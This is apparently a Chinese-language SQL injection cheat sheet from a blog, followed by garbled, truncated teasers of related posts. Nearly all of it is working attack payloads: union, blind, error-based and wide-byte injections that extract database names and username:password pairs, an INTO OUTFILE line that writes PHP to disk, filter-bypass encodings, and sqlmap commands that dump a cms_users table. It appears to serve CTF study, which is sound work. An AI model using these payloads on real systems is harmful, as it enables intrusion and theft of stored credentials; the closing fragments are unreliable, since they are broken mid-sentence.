sql注入驗證:
'and 1=1
and 1=2
sqlmap基本命令
sqlmap -r *.txt -p id
sqlmap -u '192.168.1.101/cms/show.php?id=38' --dbs
sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms --tables
sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms -t cms_users --columns
sqlmap -u '192.168.1.101/cms/show.php?id=38' -d cms -t cms_users -c username,password --dump --batch
注入order by 判斷字段數
union select 聯合查詢獲取表名、欄位名、字段值
?id=1' order by 3 --
?id=0' union select 1,2,3 --
獲取表名
0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --
獲取欄位名
0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --
獲取字段值
0' union select 1,group_concat(username,0x3a,password),3 from users--
盲注分類:
時間盲注:
?id=1' if(ascii(substr(database(),1,1)=115,1,sleep(3))) --
當資料庫第乙個字母的ascii碼是115時,執行sleep()
布林盲注:
?id=1' and length(database())=8 --
檔案讀取和寫入
select load_file('path')
union select 1,'<?php phpinfo();?>',3 into outfile 'path' --
報錯注入
rand() 隨機函式
floor() 取整函式
count() 計數函式
group by clause 分組函式
獲取資料庫
0' union select 1,2,3 from (select count(*),concat((select concat(version(),0x3a,0x3a,database(),0x3a,0x3a,user(),0x3a) limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --
獲取表名
0' union select 1,2,3 from (select count(*),concat((select concat(table_name,0x3a,0x3a) from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a --
獲取使用者資訊
0' union select 1,2,3 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,0x3a, 0x3a) from security.users limit 1,1),floor(rand(0)*2))x from information_schema.tables group by x)a --
雙引號獲取資料庫
0" union select count(*),0,concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))as a from information_schema.tables group by a limit 0,10 --
注入繞過
大小寫、雙寫、編碼、內聯注釋
post盲注
admin' and (select (if(length(database())>5,sleep(5),null))) --
admin' and (length(database())>5) --
user-agent注入:
user-agent處注入
referer注入:
referer處注入
payload:
' and updatexml(1,concat(0x7e,(select @@version),0x7e),1) or '1'='1
' or '1'='1
' or (length(database())) >8 or if(1=1, sleep(5), null) or '1' = '1
sqlmap -r指定*處測試
update語句
update table_name set password=test where id=1
passwd=123'or updatexml(1,concat(0x7e,database(),0x7e),1) #
cookie注入
cookiebase64注入
base64編碼
==結束符
urlencode
%0a 換行
%0c 新一頁
%0d return功能
%09 tab鍵
%20 空格
&& and
|| or
gbk寬位元組注入
-1%df' union select 1,2,3 --
%81二次注入
使用者名為admin' -- -
updatexml()與extractvalue()
select * from table where id=1 and updatexml(-1,concat(0x7e,database(),0x7e),1)
select * from user where id=1 and extractvalue(-1,concat(0x7e,version(),0x7e))
SQL注入(三) sql注入 bugku
原理 mysql 在使用 gbk 編碼的時候,會認為兩個字元為乙個漢字,例如 aa 5c 就是乙個 漢字 前乙個 ascii碼大於 128 才能到漢字的範圍 我們在過濾 的時候,往往利用的思 路是將 轉換為 換的函式或者思路會在每一關遇到的時候介紹 因此我們在此想辦法將 前面新增的 除掉,一般有兩種...
SQL注入 報錯注入
乙個帶get引數的 並且不從資料庫返回資料,但存在報錯資訊 檢視字段情況 報錯注入語句格式 and 1 2 union select1,2,3 from select count concat floor rand 0 2 sql語句 a from information schema.tables...
SQL注入 報錯注入
sql注入基礎 盲注 用於注入結果無回顯但錯誤資訊有輸出的情況 floor函式 返回小於等於某值的整數,例如floor 1 則返回1,floor 1.9 也返回1 rand函式 生成隨機數.可指定seed,指定後每次生成的數都一樣即偽隨機,不指定seed則每次生成的隨機數都不一樣.通過floor和r...